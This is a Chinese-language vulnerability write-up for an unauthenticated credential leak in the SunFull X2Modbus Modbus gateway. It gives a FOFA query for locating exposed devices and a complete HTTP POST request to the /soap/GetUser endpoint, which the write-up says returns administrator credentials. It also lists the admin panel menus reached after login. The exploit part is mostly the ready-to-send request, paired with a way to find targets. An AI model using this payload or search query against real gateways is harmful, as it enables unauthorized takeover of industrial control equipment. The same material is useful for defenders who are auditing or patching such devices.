

# X11-1迅饶科技-X2Modbus网关-InformationLeakage

## 漏洞描述：

X2Modbus网关GetUser接口存在信息泄露漏洞，未经身份验证的攻击者可利用此漏洞获取管理员账号密码等凭证信息登录后台，使系统处于极不安全的状态。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: server="SunFull-Webs"

## 漏洞复现：

### payload:

```
POST /soap/GetUser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

<GetUser><User Name="admin" Password="admin"/></GetUser>
```

### 效果图：



登录后台



sunfull  
专注自控 物物互联

下载文件

Web服务

Ping选项

用户管理

网口设置

固件信息

系统信息

数据帧

转发帧

下载文件

下载列表	大小
X2Modbus配置软件	35.5 MB
BACnetScan测试工具	5.4 MB
Modbus主站测试工具	207 KB
Modbus从站仿真工具	177 KB
工程文件	*
操作视频	*